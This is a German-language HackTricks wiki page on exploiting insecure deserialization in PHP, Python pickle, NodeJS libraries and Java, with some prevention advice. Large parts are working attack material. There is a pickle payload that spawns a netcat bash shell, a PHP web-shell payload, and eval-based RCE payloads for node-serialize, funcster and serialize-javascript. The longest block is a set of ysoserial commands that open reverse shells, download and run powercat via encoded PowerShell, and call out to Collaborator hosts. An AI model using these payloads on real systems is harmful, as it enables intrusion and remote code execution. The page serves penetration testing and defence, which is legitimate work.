Deserialization
Reading time: 45 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Serialization bezeichnet die Methode, ein Objekt in ein Format zu konvertieren, das gespeichert oder übermittelt werden kann. Diese Technik wird häufig eingesetzt, um sicherzustellen, dass das Objekt später unter Beibehaltung seiner Struktur und seines Zustands wiederhergestellt werden kann.
Deserialization, hingegen, ist der Prozess, der der Serialization entgegenwirkt. Dabei werden Daten, die in einem bestimmten Format vorliegen, wieder in ein Objekt rekonstruiert.
Deserialization kann gefährlich sein, weil sie potenziell Angreifern erlaubt, die serialisierten Daten zu manipulieren, um schädlichen Code auszuführen oder während der Rekonstruktion des Objekts unerwartetes Verhalten in der Anwendung zu verursachen.
PHP
In PHP werden während der serialization- und der deserialization-Prozesse spezielle Magic-Methoden verwendet:
__sleep: Wird aufgerufen, wenn ein Objekt serialisiert wird. Diese Methode sollte ein Array mit den Namen aller Eigenschaften des Objekts zurückgeben, die serialisiert werden sollen. Sie wird häufig verwendet, um ausstehende Daten zu speichern oder ähnliche Aufräumarbeiten durchzuführen.__wakeup: Wird aufgerufen, wenn ein Objekt deserialisiert wird. Diese Methode dient dazu, eventuell während der serialization verlorene Datenbankverbindungen wiederherzustellen und andere Reinitialisierungsaufgaben auszuführen.__unserialize: Diese Methode wird beim Deserialisieren eines Objekts anstelle von__wakeup(falls vorhanden) aufgerufen. Sie bietet mehr Kontrolle über den Deserialisierungsprozess im Vergleich zu__wakeup.__destruct: Diese Methode wird aufgerufen, wenn ein Objekt kurz vor der Zerstörung steht oder wenn das Skript endet. Sie wird typischerweise für Aufräumarbeiten verwendet, z. B. zum Schließen von Datei-Handles oder Datenbankverbindungen.__toString: Diese Methode ermöglicht es, ein Objekt als String zu behandeln. Sie kann zum Beispiel für das Lesen einer Datei oder andere Aufgaben verwendet werden, je nach den in ihr aufgerufenen Funktionen, und stellt damit eine textuelle Repräsentation des Objekts bereit.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}
$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();
/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called
__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>
Wenn Sie sich die Ergebnisse ansehen, sehen Sie, dass die Funktionen __wakeup und __destruct aufgerufen werden, wenn das Objekt deserialisiert wird. Beachten Sie, dass in mehreren Tutorials angegeben wird, dass die __toString-Funktion beim Versuch, ein Attribut auszugeben, aufgerufen wird, aber anscheinend passiert das nicht mehr.
warning
Die Methode __unserialize(array $data) wird anstelle von __wakeup() aufgerufen, wenn sie in der Klasse implementiert ist. Sie ermöglicht es, das Objekt zu unserialisieren, indem die serialisierten Daten als Array übergeben werden. Sie können diese Methode verwenden, um Eigenschaften zu unserialisieren und bei der Deserialisierung notwendige Aufgaben durchzuführen.
class MyClass {
private $property;
public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
Ein erklärtes PHP-Beispiel finden Sie hier: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, hier https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf oder hier https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
PHP Deserial + Autoload Classes
Sie könnten die PHP autoload-Funktionalität missbrauchen, um beliebige php-Dateien und mehr zu laden:
PHP - Deserialization + Autoload Classes
Serializing Referenced Values
Wenn Sie aus irgendeinem Grund einen Wert als Referenz auf einen anderen serialisierten Wert serialisieren möchten, können Sie:
<?php
class AClass {
public $param1;
public $param2;
}
$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
Verhinderung von PHP Object Injection mit allowed_classes
info
Unterstützung für das zweite Argument von unserialize() (dem $options-Array) wurde in PHP 7.0 hinzugefügt. In älteren Versionen akzeptiert die Funktion nur den serialisierten String, wodurch es unmöglich ist einzuschränken, welche Klassen instanziiert werden dürfen.
unserialize() wird jede Klasse instanziieren, die es im serialisierten Stream findet, sofern nicht anders angegeben. Seit PHP 7 kann das Verhalten mit der Option allowed_classes eingeschränkt werden:
// NEVER DO THIS – full object instantiation
$object = unserialize($userControlledData);
// SAFER – disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false // no classes may be created
]);
// Granular – only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);
Wenn allowed_classes weggelassen wird oder der Code auf PHP < 7.0 läuft, wird der Aufruf gefährlich, da ein Angreifer eine Payload konstruieren kann, die magische Methoden wie __wakeup() oder __destruct() ausnutzt, um Remote Code Execution (RCE) zu erreichen.
Praxisbeispiel: Everest Forms (WordPress) CVE-2025-52709
Das WordPress-Plugin Everest Forms ≤ 3.2.2 versuchte, mit einem Hilfs-Wrapper defensive Maßnahmen zu ergreifen, hat jedoch an ältere PHP-Versionen nicht gedacht:
function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}
Auf Servern, auf denen noch PHP ≤ 7.0 lief, führte diese zweite Verzweigung zu einer klassischen PHP Object Injection, wenn ein Administrator eine bösartige Formularübermittlung öffnete. Ein minimales exploit payload könnte wie folgt aussehen:
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
Sobald der Admin den Eintrag ansah, wurde das Objekt instanziiert und SomeClass::__destruct() ausgeführt, was zu arbitrary code execution führte.
Wichtigste Erkenntnisse
- Gib beim Aufruf von
unserialize()immer['allowed_classes' => false](oder eine strikte Whitelist) mit. - Audit defensive wrappers – sie vergessen oft die Legacy-PHP-Zweige.
- Ein Upgrade auf PHP ≥ 7.x allein ist nicht ausreichend: die Option muss weiterhin explizit übergeben werden.
PHPGGC (ysoserial for PHP)
PHPGGC kann dir beim Generieren von payloads helfen, um PHP deserializations auszunutzen.
Beachte, dass du in vielen Fällen keinen Weg finden wirst, eine deserialization im Quellcode der Anwendung auszunutzen, aber möglicherweise den Code externer PHP extensions ausnutzen kannst.
Wenn möglich, prüfe die phpinfo() des Servers und suche im Internet (und auch in den gadgets von PHPGGC) nach möglichen Gadgets, die du ausnutzen könntest.
phar:// Metadaten-Deserialisierung
Wenn du eine LFI gefunden hast, die die Datei nur liest und den PHP-Code darin nicht ausführt, zum Beispiel durch Funktionen wie file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**, kannst du versuchen, eine deserialization auszunutzen, die beim Lesen einer Datei über das phar protocol auftritt.
Für mehr Informationen lies den folgenden Beitrag:
Python
Pickle
Wenn das Objekt unpickled wird, wird die Funktion ___reduce___ ausgeführt.
Bei Ausnutzung könnte der Server einen Fehler zurückgeben.
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
Bevor du die Bypass-Technik überprüfst, versuche print(base64.b64encode(pickle.dumps(P(),2))) zu verwenden, um ein Objekt zu erzeugen, das mit python2 kompatibel ist, falls du python3 verwendest.
Für weitere Informationen zum Entkommen aus pickle jails siehe:
Yaml & jsonpickle
Die folgende Seite beschreibt die Technik, unsichere Deserialisierung in yamls Python-Bibliotheken zu missbrauchen und endet mit einem Tool, das verwendet werden kann, um RCE-Deserialisierungs-Payloads für Pickle, PyYAML, jsonpickle und ruamel.yaml zu erzeugen:
Class Pollution (Python Prototype Pollution)
Class Pollution (Python's Prototype Pollution)
NodeJS
JS Magic Functions
JS hat keine "magischen" Funktionen wie PHP oder Python, die allein beim Erzeugen eines Objekts ausgeführt werden. Aber es gibt einige Funktionen, die häufig verwendet werden, selbst wenn sie nicht direkt aufgerufen werden, wie toString, valueOf, toJSON.
Wenn du eine Deserialisierung missbrauchst, kannst du diese Funktionen kompromittieren, um anderen Code auszuführen (möglicherweise durch Ausnutzung von prototype pollutions) — so könntest du beliebigen Code ausführen, wenn sie aufgerufen werden.
Eine weitere "magische" Methode, eine Funktion aufzurufen ohne sie direkt aufzurufen, besteht darin, ein Objekt zu kompromittieren, das von einer async function (promise) zurückgegeben wird. Denn wenn du das zurückgegebene Objekt in eine andere promise verwandelst, die eine Property namens "then" vom Typ function enthält, wird diese ausgeführt, nur weil sie von einer anderen promise zurückgegeben wurde. Siehe this link für mehr Infos.
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}
async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}
test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
__proto__ and prototype pollution
Wenn du diese Technik lernen möchtest, sieh dir das folgende Tutorial an:
NodeJS - proto & prototype Pollution
node-serialize
Diese Bibliothek ermöglicht das Serialisieren von Funktionen. Beispiel:
var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)
Das serialisierte Objekt wird wie folgt aussehen:
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.
Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.
.png)
.png)
As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.
However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable.
Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized.
In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:
var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)
Wie bereits angegeben, wird diese Bibliothek den code nach _$$ND_FUNC$$_ nehmen und ihn mit eval ausführen. Daher kannst du, um code automatisch auszuführen, den Teil der Funktionserstellung und die letzte Klammer löschen und einfach einen JS oneliner ausführen, wie im folgenden Beispiel:
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
Sie können find here weitere Informationen darüber finden, wie diese Schwachstelle ausgenutzt werden kann.
funcster
Ein bemerkenswerter Aspekt von funcster ist die Unzugänglichkeit der standard built-in objects; diese liegen außerhalb des zugänglichen Scopes. Diese Einschränkung verhindert die Ausführung von Code, der versucht, Methoden auf built-in objects aufzurufen, und führt zu Ausnahmen wie "ReferenceError: console is not defined", wenn Befehle wie console.log() oder require(something) verwendet werden.
Trotz dieser Einschränkung ist die Wiederherstellung des vollständigen Zugriffs auf den globalen Kontext, einschließlich aller standard built-in objects, durch einen speziellen Ansatz möglich. Durch direkte Nutzung des globalen Kontextes lässt sich diese Einschränkung umgehen. Beispielsweise kann der Zugriff mit dem folgenden Snippet wiederhergestellt werden:
funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)
Für more information read this source.
serialize-javascript
Das serialize-javascript-Paket ist ausschließlich für Serialisierungszwecke konzipiert und verfügt über keine eingebauten Deserialisierungsfunktionen. Nutzer sind dafür verantwortlich, eine eigene Methode zur Deserialisierung zu implementieren. In dem offiziellen Beispiel zur Deserialisierung serialisierter Daten wird die direkte Verwendung von eval vorgeschlagen:
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
Wenn diese Funktion verwendet wird, um Objekte zu deserialize, kannst du sie leicht ausnutzen:
var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }
//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
Für more information read this source.
Cryo-Bibliothek
Auf den folgenden Seiten finden Sie Informationen darüber, wie diese Bibliothek missbraucht werden kann, um beliebige Befehle auszuführen:
- https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
- https://hackerone.com/reports/350418
Java - HTTP
In Java, deserialization callbacks werden während des deserialization-Prozesses ausgeführt. Diese Ausführung kann von Angreifern ausgenutzt werden, die bösartige payloads erstellen, die diese callbacks auslösen, was zur möglichen Ausführung schädlicher Aktionen führt.
Fingerprints
White Box
Um potenzielle serialization vulnerabilities im Code zu identifizieren, suchen Sie nach:
- Klassen, die das
Serializable-Interface implementieren. - Verwendung von
java.io.ObjectInputStream,readObject,readUnshare.
Achten Sie besonders auf:
XMLDecoder, verwendet mit Parametern, die von externen Benutzern festgelegt sind.XStream'sfromXML-Methode, insbesondere wenn die XStream-Version <= 1.46 ist, da sie anfällig für serialization-Probleme ist.ObjectInputStreamin Kombination mit derreadObject-Methode.- Implementierung von Methoden wie
readObject,readObjectNodData,readResolveoderreadExternal. ObjectInputStream.readUnshared.- Allgemeine Verwendung von
Serializable.
Black Box
Für Black-Box-Tests suchen Sie nach spezifischen Signaturen oder "Magic Bytes", die java serialisierte Objekte kennzeichnen (stammen von ObjectInputStream):
- Hexadezimales Muster:
AC ED 00 05. - Base64-Muster:
rO0. - HTTP-Antwort-Header mit
Content-typegesetzt aufapplication/x-java-serialized-object. - Hexadezimales Muster, das auf vorherige Kompression hinweist:
1F 8B 08 00. - Base64-Muster, das auf vorherige Kompression hinweist:
H4sIA. - Webdateien mit der Erweiterung
.facesund dem Parameterfaces.ViewState.
Das Auffinden dieser Muster in einer Webanwendung sollte zu einer Untersuchung führen, wie im post about Java JSF ViewState Deserialization beschrieben.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
Auf Verwundbarkeit prüfen
Wenn du lernen möchtest, wie ein Java Deserialized exploit funktioniert, solltest du dir Basic Java Deserialization, Java DNS Deserialization, und CommonsCollection1 Payload ansehen.
SignedObject-gated deserialization und pre-auth reachability
Moderne Codebasen wickeln manchmal deserialization mit java.security.SignedObject und validieren eine Signatur, bevor getObject() aufgerufen wird (welches das innere Objekt deserialisiert). Das verhindert beliebige top-level gadget classes, kann aber trotzdem ausnutzbar sein, wenn ein Angreifer eine gültige Signatur erhält (z. B. durch Private-Key-Kompromittierung oder ein signing oracle). Zusätzlich können Error-Handling-Flows session-bound tokens für unauthenticated users erzeugen und so sonst geschützte sinks pre-auth exponieren.
Für eine konkrete Fallstudie mit Requests, IoCs und Härtungsempfehlungen siehe:
Java Signedobject Gated Deserialization
White Box Test
Du kannst prüfen, ob eine Anwendung mit bekannten Schwachstellen installiert ist.
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
Du könntest versuchen, alle Bibliotheken zu überprüfen, die als verwundbar bekannt sind und für die Ysoserial ein Exploit bereitstellen kann. Oder du könntest die in der Java-Deserialization-Cheat-Sheet angegebenen Bibliotheken prüfen.
Du könntest auch gadgetinspector verwenden, um nach möglichen Gadget-Ketten zu suchen, die ausgenutzt werden können.
Wenn du gadgetinspector ausführst (nachdem du es gebaut hast), ignoriere die vielen Warnungen/Fehler, die während der Ausführung erscheinen, und lasse es durchlaufen. Es schreibt alle Befunde unter gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Bitte beachte, dass gadgetinspector keinen Exploit erstellt und false positives anzeigen kann.
Black Box Test
Mit der Burp-Erweiterung gadgetprobe kannst du identifizieren, welche Bibliotheken verfügbar sind (und sogar die Versionen). Mit diesen Informationen kann es einfacher sein, ein Payload auszuwählen, um die Verwundbarkeit auszunutzen.
Read this to learn more about GadgetProbe.
GadgetProbe ist auf ObjectInputStream Deserializations fokussiert.
Mit der Burp-Erweiterung Java Deserialization Scanner kannst du verwundbare Bibliotheken identifizieren, die mit ysoserial ausnutzbar sind, und sie exploit.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner konzentriert sich auf ObjectInputStream Deserializations.
Du kannst auch Freddy verwenden, um Deserialisation-Schwachstellen in Burp zu entdecken. Dieses Plugin erkennt nicht nur ObjectInputStream-bezogene Schwachstellen, sondern auch Verwundbarkeiten aus Json und Yml Deserialisierungsbibliotheken. Im aktiven Modus versucht es, diese mittels sleep- oder DNS-Payloads zu bestätigen.
You can find more information about Freddy here.
Serialization Test
Nicht alles dreht sich darum, zu prüfen, ob der Server eine verwundbare Bibliothek verwendet. Manchmal kannst du die Daten innerhalb des serialisierten Objekts ändern und einige Prüfungen umgehen (möglicherweise erhältst du Administratorrechte in einer Webapp).
Wenn du ein Java-serialisiertes Objekt findest, das an eine Webanwendung gesendet wird, kannst du SerializationDumper verwenden, um das gesendete serialisierte Objekt in einem menschenlesbareren Format auszugeben. Zu wissen, welche Daten du sendest, macht es einfacher, sie zu modifizieren und Prüfungen zu umgehen.
Exploit
ysoserial
Das Haupttool, um Java-Deserialisierungen auszunutzen, ist ysoserial (download here). Du kannst auch ysoseral-modified in Betracht ziehen, das dir erlaubt, komplexe Befehle zu verwenden (zum Beispiel mit Pipes).
Beachte, dass dieses Tool auf das Ausnutzen von ObjectInputStream fokussiert ist.
Ich würde zuerst das "URLDNS" Payload verwenden, bevor ich ein RCE-Payload teste, um zu prüfen, ob die Injection möglich ist. Beachte aber, dass das "URLDNS"-Payload möglicherweise nicht funktioniert, während ein anderes RCE-Payload funktionieren kann.
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
# Base64 encode payload in base64
base64 -w0 payload
Beim Erstellen eines Payloads für java.lang.Runtime.exec() können Sie keine Sonderzeichen wie ">" oder "|" verwenden, um die Ausgabe umzuleiten, "$()" zum Ausführen von Befehlen oder sogar Argumente an einen Befehl zu übergeben, die durch Leerzeichen getrennt sind (Sie können echo -n "hello world" verwenden, aber nicht python2 -c 'print "Hello world"'). Um das Payload korrekt zu kodieren, können Sie diese Webseite verwenden.
Verwenden Sie gern das folgende Skript, um all the possible code execution payloads für Windows und Linux zu erstellen und diese dann auf der verwundbaren Webseite zu testen:
import os
import base64
# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
serialkillerbypassgadgets
Du kannst verwenden https://github.com/pwntester/SerialKillerBypassGadgetCollection zusammen mit ysoserial verwenden, um mehr exploits zu erstellen. Mehr Informationen über dieses Tool in den Slides des Vortrags, in dem das Tool vorgestellt wurde: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1
marshalsec
marshalsec kann verwendet werden, um payloads zu generieren, um verschiedene Json und Yml Serialisierungsbibliotheken in Java auszunutzen.
Um das Projekt zu kompilieren, musste ich diese Abhängigkeiten zu pom.xml hinzufügen:
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>
<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
Installiere maven, und kompiliere das Projekt:
sudo apt-get install maven
mvn clean package -DskipTests
FastJSON
Mehr Informationen zu dieser Java-JSON-Bibliothek: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html
Labs
- Wenn du einige ysoserial-Payloads testen möchtest, kannst du diese Webapp ausführen: https://github.com/hvqzao/java-deserialize-webapp
- https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/
Why
Java verwendet Serialisierung in vielen Bereichen, zum Beispiel:
- HTTP requests: Serialisierung wird häufig bei der Verwaltung von Parametern, ViewState, Cookies usw. eingesetzt.
- RMI (Remote Method Invocation): Das Java RMI-Protokoll, das vollständig auf Serialisierung beruht, ist ein Eckpfeiler für die Fernkommunikation in Java-Anwendungen.
- RMI over HTTP: Diese Methode wird häufig von Java-basierten thick client Webanwendungen genutzt und verwendet Serialisierung für alle Objektkommunikationen.
- JMX (Java Management Extensions): JMX verwendet Serialisierung, um Objekte über das Netzwerk zu übertragen.
- Custom Protocols: In Java ist gängige Praxis die Übertragung roher Java-Objekte, was in den folgenden Exploit-Beispielen demonstriert wird.
Prevention
Transient objects
Eine Klasse, die Serializable implementiert, kann jedes Objekt innerhalb der Klasse als transient markieren, das nicht serialisierbar sein sollte. Zum Beispiel:
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
Vermeide die Serialisierung einer Klasse, die Serializable implementieren muss
In Szenarien, in denen bestimmte Objekte, die das Serializable-Interface implementieren müssen aufgrund der Klassenhierarchie, besteht das Risiko unbeabsichtigter Deserialisierung. Um dies zu verhindern, stelle sicher, dass diese Objekte nicht deserialisierbar sind, indem du eine final readObject()-Methode definierst, die konsequent eine Ausnahme wirft, wie unten gezeigt:
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
Verbesserung der Deserialization-Sicherheit in Java
Customizing java.io.ObjectInputStream ist ein praxisnaher Ansatz, um Deserialization-Prozesse abzusichern. Diese Methode eignet sich, wenn:
- Der Deserialization-Code unter Ihrer Kontrolle steht.
- Die für die Deserialization erwarteten Klassen bekannt sind.
Überschreiben Sie die Methode resolveClass(), um die Deserialization nur auf erlaubte Klassen zu beschränken. Dadurch wird die Deserialization jeder Klasse verhindert, außer denen, die explizit erlaubt sind — wie im folgenden Beispiel, das die Deserialization nur auf die Klasse Bicycle einschränkt:
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}
/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
Using a Java Agent for Security Enhancement bietet eine Fallback-Lösung, wenn eine Codeänderung nicht möglich ist. Diese Methode gilt hauptsächlich für blacklisting harmful classes, unter Verwendung eines JVM-Parameters:
-javaagent:name-of-agent.jar
Es bietet eine Möglichkeit, deserialization dynamisch abzusichern, ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.
Siehe ein Beispiel in rO0 by Contrast Security
